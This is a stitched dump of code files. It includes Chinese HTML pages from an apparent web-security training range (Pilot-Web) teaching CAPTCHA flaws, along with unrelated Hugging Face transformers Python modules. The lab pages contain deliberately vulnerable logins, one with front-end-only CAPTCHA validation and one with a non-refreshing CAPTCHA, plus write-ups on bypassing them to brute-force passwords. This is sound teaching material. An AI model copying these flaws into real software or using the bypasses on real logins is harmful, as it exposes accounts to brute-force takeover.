// 每五秒钟刷新一次
setInterval(fetchProcessInfo, 5000);
// 页面加载时立即执行一次
fetchProcessInfo();
</script>
</body>
</html>
|
2740908911/Pilot-Web | 3,325 | pilot-client/pages/vcdefect/index.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>验证码缺陷-概述</title>
<link rel="stylesheet"
href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>概述</strong></h3>
</div>
<div class="card-body">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>验证码缺陷攻击是攻击者尝试绕过验证码保护的一种常见方法,旨在实现未授权的访问或自动化提交。验证码(CAPTCHA)设计用于区分人类用户与机器,但不完善的实现可能允许攻击者绕过这一机制。</p>
<p>从验证码的形式进行分类,可以分为图形验证码、邮件验证码、手机验证码及其他类型,每种类型验证码暴露出的缺陷不同,Pilot靶场主要介绍了使用最频繁的图像验证码。</p>
<p>常见的图形验证码缺陷漏洞大概有以下几种:</p>
<ol>
<li><p>
假验证码:验证码置空也可直接进行功能操作,绕过验证码功能。</p>
</li>
<li><p>
验证码不刷新:验证码在功能操作失败(登录失败)后不刷新,可以爆破。</p>
</li>
<li><p>
验证码可复用:验证码可以重复使用,使用后不对验证码进行销毁。</p>
</li>
<li><p>
验证码内容回显:验证码答案通过响应包回显至前端。</p>
</li>
<li><p>
验证码可识别:验证码可以通过OCR识别,干扰线条过弱。</p>
</li>
<li><p>
验证码前端校验:验证码在前端生成和校验,全程不经过服务端。</p>
</li>
</ol>
</div>
</div>
</div>
</div>
</section>
</div>
<aside class="control-sidebar control-sidebar-light">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("验证码缺陷", ["概述"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
27182812/ChatGLM-LLaMA-chinese-insturct | 16,416 | src/transformers/models/efficientformer/image_processing_efficientformer.py | # coding=utf-8
# Copyright 2022 The HuggingFace Inc. team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Image processor class for EfficientFormer."""
from typing import Dict, List, Optional, Union
import numpy as np
from ...image_processing_utils import BaseImageProcessor, BatchFeature, get_size_dict
from ...image_transforms import (
center_crop,
get_resize_output_image_size,
normalize,
rescale,
resize,
to_channel_dimension_format,
)
from ...image_utils import (
IMAGENET_DEFAULT_MEAN,
IMAGENET_DEFAULT_STD,
ChannelDimension,
ImageInput,
PILImageResampling,
is_batched,
to_numpy_array,
valid_images,
)
from ...utils import TensorType, logging
logger = logging.get_logger(__name__)
class EfficientFormerImageProcessor(BaseImageProcessor):
r"""
Constructs a EfficientFormer image processor.
Args:
do_resize (`bool`, *optional*, defaults to `True`):
Whether to resize the image's (height, width) dimensions to the specified `(size["height"],
size["width"])`. Can be overridden by the `do_resize` parameter in the `preprocess` method.
size (`dict`, *optional*, defaults to `{"height": 224, "width": 224}`):
Size of the output image after resizing. Can be overridden by the `size` parameter in the `preprocess`
method.
resample (`PILImageResampling`, *optional*, defaults to `PILImageResampling.BILINEAR`):
Resampling filter to use if resizing the image. Can be overridden by the `resample` parameter in the
`preprocess` method.
do_center_crop (`bool`, *optional*, defaults to `True`):
Whether to center crop the image to the specified `crop_size`. Can be overridden by `do_center_crop` in the
`preprocess` method.
crop_size (`Dict[str, int]` *optional*, defaults to 224):
Size of the output image after applying `center_crop`. Can be overridden by `crop_size` in the `preprocess`
method.
do_rescale (`bool`, *optional*, defaults to `True`):
Whether to rescale the image by the specified scale `rescale_factor`. Can be overridden by the `do_rescale`
parameter in the `preprocess` method.
rescale_factor (`int` or `float`, *optional*, defaults to `1/255`):
Scale factor to use if rescaling the image. Can be overridden by the `rescale_factor` parameter in the
`preprocess` method.
do_normalize:
Whether to normalize the image. Can be overridden by the `do_normalize` parameter in the `preprocess`
method.
image_mean (`float` or `List[float]`, *optional*, defaults to `IMAGENET_STANDARD_MEAN`):
Mean to use if normalizing the image. This is a float or list of floats the length of the number of
channels in the image. Can be overridden by the `image_mean` parameter in the `preprocess` method.
image_std (`float` or `List[float]`, *optional*, defaults to `IMAGENET_STANDARD_STD`):
Standard deviation to use if normalizing the image. This is a float or list of floats the length of the
number of channels in the image. Can be overridden by the `image_std` parameter in the `preprocess` method.
"""
model_input_names = ["pixel_values"]
def __init__(
self,
do_resize: bool = True,
size: Optional[Dict[str, int]] = None,
resample: PILImageResampling = PILImageResampling.BICUBIC,
do_center_crop: bool = True,
do_rescale: bool = True,
rescale_factor: Union[int, float] = 1 / 255,
crop_size: Dict[str, int] = None,
do_normalize: bool = True,
image_mean: Optional[Union[float, List[float]]] = None,
image_std: Optional[Union[float, List[float]]] = None,
**kwargs,
) -> None:
super().__init__(**kwargs)
size = size if size is not None else {"height": 224, "width": 224}
size = get_size_dict(size)
crop_size = crop_size if crop_size is not None else {"height": 224, "width": 224}
crop_size = get_size_dict(crop_size, default_to_square=True, param_name="crop_size")
self.do_resize = do_resize
self.do_rescale = do_rescale
self.do_normalize = do_normalize
self.do_center_crop = do_center_crop
self.crop_size = crop_size
self.size = size
self.resample = resample
self.rescale_factor = rescale_factor
self.image_mean = image_mean if image_mean is not None else IMAGENET_DEFAULT_MEAN
self.image_std = image_std if image_std is not None else IMAGENET_DEFAULT_STD
def resize(
self,
image: np.ndarray,
size: Dict[str, int],
resample: PILImageResampling = PILImageResampling.BILINEAR,
data_format: Optional[Union[str, ChannelDimension]] = None,
**kwargs,
) -> np.ndarray:
"""
Resize an image to `(size["height"], size["width"])`.
Args:
image (`np.ndarray`):
Image to resize.
size (`Dict[str, int]`):
Dictionary in the format `{"height": int, "width": int}` specifying the size of the output image.
resample:
`PILImageResampling` filter to use when resizing the image e.g. `PILImageResampling.BILINEAR`.
data_format (`ChannelDimension` or `str`, *optional*):
The channel dimension format for the output image. If unset, the channel dimension format of the input
image is used. Can be one of:
- `"channels_first"` or `ChannelDimension.FIRST`: image in (num_channels, height, width) format.
- `"channels_last"` or `ChannelDimension.LAST`: image in (height, width, num_channels) format.
Returns:
`np.ndarray`: The resized image.
"""
size = get_size_dict(size)
if "shortest_edge" in size:
size = get_resize_output_image_size(image, size=size["shortest_edge"], default_to_square=False)
# size = get_resize_output_image_size(image, size["shortest_edge"], size["longest_edge"])
elif "height" in size and "width" in size:
size = (size["height"], size["width"])
else:
raise ValueError(f"Size must contain 'height' and 'width' keys or 'shortest_edge' key. Got {size.keys()}")
return resize(image, size=size, resample=resample, data_format=data_format, **kwargs)
def center_crop(
self,
image: np.ndarray,
size: Dict[str, int],
data_format: Optional[Union[str, ChannelDimension]] = None,
**kwargs,
) -> np.ndarray:
"""
Center crop an image. If the image is too small to be cropped to the size given, it will be padded (so the
returned result will always be of size `size`).
Args:
image (`np.ndarray`):
Image to center crop.
size (`Dict[str, int]`):
Size of the output image in the form of a dictionary with keys `height` and `width`.
data_format (`str` or `ChannelDimension`, *optional*):
The channel dimension format of the image. If not provided, it will be the same as the input image.
"""
size = get_size_dict(size)
if "height" not in size or "width" not in size:
raise ValueError(f"The `size` parameter must contain the keys (height, width). Got {size.keys()}")
return center_crop(image, size=(size["height"], size["width"]), data_format=data_format, **kwargs)
def rescale(
self, image: np.ndarray, scale: float, data_format: Optional[Union[str, ChannelDimension]] = None, **kwargs
) -> np.ndarray:
"""
Rescale an image by a scale factor. image = image * scale.
Args:
image (`np.ndarray`):
Image to rescale.
scale (`float`):
The scaling factor to rescale pixel values by.
data_format (`str` or `ChannelDimension`, *optional*):
The channel dimension format for the output image. If unset, the channel dimension format of the input
image is used. Can be one of:
- `"channels_first"` or `ChannelDimension.FIRST`: image in (num_channels, height, width) format.
- `"channels_last"` or `ChannelDimension.LAST`: image in (height, width, num_channels) format.
Returns:
`np.ndarray`: The rescaled image.
"""
return rescale(image, scale=scale, data_format=data_format, **kwargs)
def normalize(
self,
image: np.ndarray,
mean: Union[float, List[float]],
std: Union[float, List[float]],
data_format: Optional[Union[str, ChannelDimension]] = None,
**kwargs,
) -> np.ndarray:
"""
Normalize an image. image = (image - image_mean) / image_std.
Args:
image (`np.ndarray`):
Image to normalize.
mean (`float` or `List[float]`):
Image mean to use for normalization.
std (`float` or `List[float]`):
Image standard deviation to use for normalization.
data_format (`str` or `ChannelDimension`, *optional*):
The channel dimension format for the output image. If unset, the channel dimension format of the input
image is used. Can be one of:
- `"channels_first"` or `ChannelDimension.FIRST`: image in (num_channels, height, width) format.
- `"channels_last"` or `ChannelDimension.LAST`: image in (height, width, num_channels) format.
Returns:
`np.ndarray`: The normalized image.
"""
return normalize(image, mean=mean, std=std, data_format=data_format, **kwargs)
def preprocess(
self,
images: ImageInput,
do_resize: Optional[bool] = None,
size: Dict[str, int] = None,
resample: PILImageResampling = None,
do_center_crop: bool = None,
crop_size: int = None,
do_rescale: Optional[bool] = None,
rescale_factor: Optional[float] = None,
do_normalize: Optional[bool] = None,
image_mean: Optional[Union[float, List[float]]] = None,
image_std: Optional[Union[float, List[float]]] = None,
return_tensors: Optional[Union[str, TensorType]] = None,
data_format: Union[str, ChannelDimension] = ChannelDimension.FIRST,
**kwargs,
) -> BatchFeature:
"""
Preprocess an image or batch of images.
Args:
images (`ImageInput`):
Image to preprocess.
do_resize (`bool`, *optional*, defaults to `self.do_resize`):
Whether to resize the image.
size (`Dict[str, int]`, *optional*, defaults to `self.size`):
Dictionary in the format `{"height": h, "width": w}` specifying the size of the output image after
resizing.
resample (`PILImageResampling` filter, *optional*, defaults to `self.resample`):
`PILImageResampling` filter to use if resizing the image e.g. `PILImageResampling.BILINEAR`. Only has
an effect if `do_resize` is set to `True`.
do_center_crop (`bool`, *optional*, defaults to `self.do_center_crop`):
Whether to center crop the image.
do_rescale (`bool`, *optional*, defaults to `self.do_rescale`):
Whether to rescale the image values between [0 - 1].
rescale_factor (`float`, *optional*, defaults to `self.rescale_factor`):
Rescale factor to rescale the image by if `do_rescale` is set to `True`.
crop_size (`Dict[str, int]`, *optional*, defaults to `self.crop_size`):
Size of the center crop. Only has an effect if `do_center_crop` is set to `True`.
do_normalize (`bool`, *optional*, defaults to `self.do_normalize`):
Whether to normalize the image.
image_mean (`float` or `List[float]`, *optional*, defaults to `self.image_mean`):
Image mean to use if `do_normalize` is set to `True`.
image_std (`float` or `List[float]`, *optional*, defaults to `self.image_std`):
Image standard deviation to use if `do_normalize` is set to `True`.
return_tensors (`str` or `TensorType`, *optional*):
The type of tensors to return. Can be one of:
- Unset: Return a list of `np.ndarray`.
- `TensorType.TENSORFLOW` or `'tf'`: Return a batch of type `tf.Tensor`.
- `TensorType.PYTORCH` or `'pt'`: Return a batch of type `torch.Tensor`.
- `TensorType.NUMPY` or `'np'`: Return a batch of type `np.ndarray`.
- `TensorType.JAX` or `'jax'`: Return a batch of type `jax.numpy.ndarray`.
data_format (`ChannelDimension` or `str`, *optional*, defaults to `ChannelDimension.FIRST`):
The channel dimension format for the output image. Can be one of:
- `"channels_first"` or `ChannelDimension.FIRST`: image in (num_channels, height, width) format.
- `"channels_last"` or `ChannelDimension.LAST`: image in (height, width, num_channels) format.
- Unset: Use the channel dimension format of the input image.
"""
do_resize = do_resize if do_resize is not None else self.do_resize
do_rescale = do_rescale if do_rescale is not None else self.do_rescale
do_normalize = do_normalize if do_normalize is not None else self.do_normalize
do_center_crop = do_center_crop if do_center_crop is not None else self.do_center_crop
crop_size = crop_size if crop_size is not None else self.crop_size
crop_size = get_size_dict(crop_size, param_name="crop_size", default_to_square=True)
resample = resample if resample is not None else self.resample
rescale_factor = rescale_factor if rescale_factor is not None else self.rescale_factor
image_mean = image_mean if image_mean is not None else self.image_mean
image_std = image_std if image_std is not None else self.image_std
size = size if size is not None else self.size
size_dict = get_size_dict(size)
if not is_batched(images):
images = [images]
if not valid_images(images):
raise ValueError(
"Invalid image type. Must be of type PIL.Image.Image, numpy.ndarray, "
"torch.Tensor, tf.Tensor or jax.ndarray."
)
if do_resize and size is None:
raise ValueError("Size must be specified if do_resize is True.")
if do_center_crop and crop_size is None:
raise ValueError("Crop size must be specified if do_center_crop is True.")
if do_rescale and rescale_factor is None:
raise ValueError("Rescale factor must be specified if do_rescale is True.")
# All transformations expect numpy arrays.
images = [to_numpy_array(image) for image in images]
if do_resize:
images = [self.resize(image=image, size=size_dict, resample=resample) for image in images]
if do_center_crop:
images = [self.center_crop(image=image, size=crop_size) for image in images]
if do_rescale:
images = [self.rescale(image=image, scale=rescale_factor) for image in images]
if do_normalize:
images = [self.normalize(image=image, mean=image_mean, std=image_std) for image in images]
images = [to_channel_dimension_format(image, data_format) for image in images]
data = {"pixel_values": images}
return BatchFeature(data=data, tensor_type=return_tensors)
|
2740908911/Pilot-Web | 7,173 | pilot-client/pages/vcdefect/vc_bypass_s.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>验证码缺陷-服务端验证码绕过</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>服务端验证码绕过</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header">
<h3 class="card-title">后台登录</h3>
</div>
<form action="" onsubmit="return false" id="Login">
<div class="card-body">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" class="form-control" name="username" id="username" placeholder="Enter username or phone number">
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" class="form-control" name="password" id="password" placeholder="Password">
</div>
<div class="form-group">
<label for="code">输入验证码</label>
<div class="input-group">
<input type="text" class="form-control" name="code" id="code" placeholder="Enter Code">
<div class="input-group-append">
<img src="" id="codeImage" alt="" style="width: 120px; height: 40px; cursor: pointer;" onclick="getCode()">
</div>
</div>
</div>
</div>
<div class="card-footer">
<button type="submit" id="loginButton" class="btn btn-primary" onclick="doLogin()">登录</button>
</div>
</form>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>这个验证码怎么不刷新哇??!</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>在WEB页面登录任意账号,输入正确的验证码,并抓包:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-1.png" referrerpolicy="no-referrer" alt="l2-1"></div></p></li><li><p><span>可以发现登录请求包附带了页面输入的验证码,此时修改密码为错误密码,并重放:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-2.png" referrerpolicy="no-referrer" alt="l2-2"></div></p></li><li><p><span>请求包在没有修改验证码的情况下,提示“用户名或密码错误”,而不是验证码错误。</span></p></li><li><p><span>此时再修改密码为正确密码,验证码不变,依旧可以登录成功:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-3.png" referrerpolicy="no-referrer" alt="l2-3"></div></p></li><li><p><span>可以发现,验证码虽然经过服务端验证,但是在登录失败时或登录成功后,验证码均未刷新。</span></p></li><li><p><span>因此只需服务端首次完成验证码判断后,固定参数</span><code>code</code><span>值不变,则仍可进行密码枚举。</span></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>验证码在后端进行验证,但登录成功或失败后,并没有更新验证码,导致一个正确的验证码可反复使用:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-2.html" width="100%" height="760px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-2.html" width="100%" height="1390px"></object></div>
</div>
</div>
</div>
</section>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("验证码缺陷", ["服务端验证码绕过"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
getCode();
function getCode(){
// 更新验证码图片的src属性,触发浏览器重新加载图片
$("#codeImage").attr("src", "http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/vc/l2/getcode?" + new Date().getTime());
}
function doLogin(){
let data = {
username: $("#username")[0].value,
password: $("#password")[0].value,
code: $("#code")[0].value,
}
if (data.username.length <= 0 || data.password.length <= 0 || data.code.length <= 0) {
$("#notice")[0].innerHTML = generateNote("登录失败:缺少参数");
return;
}
$.post({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/vc/l2/login`,
data,
dataType: "json",
xhrFields: {
withCredentials: true
},
success(resp){
if(resp["status"] === "200"){
$("#notice")[0].innerHTML = generateNote("登录成功!欢迎, " + resp["username"]);
$("#loginButton").prop('disabled', true);
} else if(resp["status"] === "405"){
getCode();
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
} else if(resp["status"] === "402"){
getCode();
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
} else if(resp["status"] === "401"){
getCode();
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
}
}
})
}
</script>
</body>
</html>
|
2740908911/Pilot-Web | 8,695 | pilot-client/pages/vcdefect/vc_bypass_c.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>验证码缺陷-客户端验证码绕过</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>客户端验证码绕过</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header">
<h3 class="card-title">后台登录</h3>
</div>
<form action="" onsubmit="return false" id="Login">
<div class="card-body">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" class="form-control" name="username" id="username" placeholder="Enter username or phone number">
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" class="form-control" name="password" id="password" placeholder="Password">
</div>
<div class="form-group">
<label for="code">输入验证码</label>
<div class="input-group">
<input type="text" class="form-control" name="code" id="code" placeholder="Enter Code">
<div class="input-group-append">
<div class="input-group-append">
<canvas id="codeCanvas" width="120" height="35" style="border:1px solid #ccc; cursor:pointer;" onclick="getCode()"></canvas>
</div>
</div>
</div>
</div>
</div>
<div class="card-footer">
<button type="submit" id="loginButton" class="btn btn-primary" onclick="doLogin()">登录</button>
</div>
</form>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>验证码在前端进行生成和验证?掩耳盗铃罢了!</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>在WEB页面登录任意账号,输入正确的验证码,并抓包:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-1.png" referrerpolicy="no-referrer" alt="l1-1"></div></p></li><li><p><span>可以发现登录Post数据包中并没有上传验证码值至服务端,而是通过参数</span><code>verify</code><span>的值判断是否通过验证码。</span></p></li><li><p><span>由此可以确定,判断验证码是否正确的逻辑,位于WEB客户端的JS代码中,通过F12找到关键代码:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-2.png" referrerpolicy="no-referrer" alt="l1-2"></div></p></li><li><p><span>验证码只在客户端有效,登录接口抓包后,只需固定参数</span><code>verify=true</code><span>,则仍可以进行密码爆破。</span></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>验证码在前端JS中生成并验证,通过修改JS或抓包即可绕过:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-1.html" width="100%" height="1320px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-1.html" width="100%" height="1260px"></object></div>
</div>
</div>
</div>
</section>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("验证码缺陷", ["客户端验证码绕过"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
var currentCode = ""; // 用于保存当前验证码
getCode(); // 页面加载时生成验证码
function getCode(){
var canvas = document.getElementById('codeCanvas');
var ctx = canvas.getContext('2d');
ctx.clearRect(0, 0, canvas.width, canvas.height);
ctx.fillStyle = '#f0f0f0';
ctx.fillRect(0, 0, 120, 40);
var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
var charactersLength = characters.length;
currentCode = '';
for (var i = 0; i < 4; i++) {
currentCode += characters.charAt(Math.floor(Math.random() * charactersLength));
}
ctx.font = 'bold 24px Arial'; // 增加字体大小并设置为粗体
ctx.textBaseline = 'middle';
// 函数用于生成随机颜色
function getRandomColor() {
var letters = '0123456789ABCDEF';
var color = '#';
for (var i = 0; i < 6; i++) {
color += letters[Math.floor(Math.random() * 16)];
}
return color;
}
for (i = 0; i < currentCode.length; i++) {
var x = 10 + i * 25;
var y = 20 + Math.random() * 10 * (Math.random() > 0.5 ? -1 : 1);
var angle = Math.random() * Math.PI / 4 * (Math.random() > 0.5 ? -1 : 1);
ctx.save();
ctx.translate(x, y);
ctx.rotate(angle);
ctx.fillStyle = getRandomColor(); // 使用随机颜色
ctx.fillText(currentCode[i], 0, 0);
ctx.restore();
}
// 添加随机颜色的干扰线条
for (i = 0; i < 5; i++) {
ctx.strokeStyle = getRandomColor(); // 使用随机颜色
ctx.beginPath();
ctx.moveTo(Math.random() * canvas.width, Math.random() * canvas.height);
ctx.lineTo(Math.random() * canvas.width, Math.random() * canvas.height);
ctx.stroke();
}
}
function doLogin(){
let verify = false;
let username = $("#username").val();
let password = $("#password").val();
let inputCode = $("#code").val().toLowerCase();
let generatedCode = currentCode.toLowerCase();
if (username.length <= 0 || password.length <= 0 || inputCode.length <= 0) {
$("#notice")[0].innerHTML = generateNote("登录失败:缺少参数");
return;
}
if (inputCode === generatedCode) {
verify = true; // 如果验证码正确,设置verify为true
}else {
$("#notice").html(generateNote("验证码错误!"));
return;
}
$.post({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/vc/l1/login`,
data: {
username: username,
password: password,
verify: verify
},
dataType: "json",
success(resp){
if(resp["status"] === "200"){
$("#notice")[0].innerHTML = generateNote("登录成功!欢迎, " + resp["username"]);
$("#loginButton").prop('disabled', true);
} else if(resp["status"] === "405"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
} else if(resp["status"] === "401"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
}
}
})
}
</script>
</body>
</html>
|
27182812/ChatGLM-LLaMA-chinese-insturct | 2,331 | src/transformers/models/ernie/__init__.py | # Copyright 2022 The HuggingFace Team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from typing import TYPE_CHECKING
from ...utils import OptionalDependencyNotAvailable, _LazyModule, is_tensorflow_text_available, is_torch_available
_import_structure = {
"configuration_ernie": ["ERNIE_PRETRAINED_CONFIG_ARCHIVE_MAP", "ErnieConfig", "ErnieOnnxConfig"],
}
try:
if not is_torch_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
_import_structure["modeling_ernie"] = [
"ERNIE_PRETRAINED_MODEL_ARCHIVE_LIST",
"ErnieForCausalLM",
"ErnieForMaskedLM",
"ErnieForMultipleChoice",
"ErnieForNextSentencePrediction",
"ErnieForPreTraining",
"ErnieForQuestionAnswering",
"ErnieForSequenceClassification",
"ErnieForTokenClassification",
"ErnieModel",
"ErniePreTrainedModel",
]
if TYPE_CHECKING:
from .configuration_ernie import ERNIE_PRETRAINED_CONFIG_ARCHIVE_MAP, ErnieConfig, ErnieOnnxConfig
try:
if not is_torch_available():
raise OptionalDependencyNotAvailable()
except OptionalDependencyNotAvailable:
pass
else:
from .modeling_ernie import (
ERNIE_PRETRAINED_MODEL_ARCHIVE_LIST,
ErnieForCausalLM,
ErnieForMaskedLM,
ErnieForMultipleChoice,
ErnieForNextSentencePrediction,
ErnieForPreTraining,
ErnieForQuestionAnswering,
ErnieForSequenceClassification,
ErnieForTokenClassification,
ErnieModel,
ErniePreTrainedModel,
)
else:
import sys
sys.modules[__name__] = _LazyModule(__name__, globals()["__file__"], _import_structure, module_spec=__spec__)
|
2740908911/Pilot-Web | 10,717 | pilot-client/pages/authority/unauthorized.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>权限控制-未授权访问</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>未授权访问</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header" id="LoginT">
<h3 class="card-title">后台登录</h3>
</div>
<form action="" onsubmit="return false" id="Login">
<div class="card-body">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" class="form-control" name="username" id="username" placeholder="Enter username or phone number">
</div>
<div class="form-group">
<label for="password">密码</label>
